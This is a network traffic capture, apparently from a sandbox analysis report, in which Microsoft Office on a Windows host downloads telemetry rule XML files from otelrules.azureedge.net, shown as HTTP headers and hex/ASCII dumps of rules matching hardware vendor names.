2024-11-21 21:34:00 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:00 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:00 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213400Z-178bfbc474bscnbchC1NYCe7eg000000025g00000000k236 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:02 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:02 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213402Z-174c587ffdf8lw6dhC1TEBkgs800000000f0000000000y1b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:02 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213402Z-178bfbc474bxkclvhC1NYC69g400000002200000000034m8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:02 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:02 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213402Z-1777c6cb754lv4cqhC1TEB13us0000000bn000000000nu28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:02 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:02 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 8801ae34-d01e-0065-3299-3bb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213402Z-r1d97b99577tssmjhC1TEB8kan0000000au000000000gw7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:02 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:02 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213402Z-15b8b599d885v8r9hC1TEB104g00000000e00000000096dr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:02 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:04 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213405Z-1777c6cb754lv4cqhC1TEB13us0000000bp000000000f36g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:04 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5235ff2f-501e-008f-1c4e-3c9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213405Z-178bfbc474bgvl54hC1NYCsfuw00000001xg00000000y5cx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:04 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4e7b5ce8-701e-0098-117a-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213405Z-178bfbc474bfw4gbhC1NYCunf400000001zg00000000uupq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:04 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213405Z-178bfbc474bgvl54hC1NYCsfuw000000021g00000000bf9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:04 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213405Z-178bfbc474bw8bwphC1NYC38b400000001wg00000000e7v0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:06 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
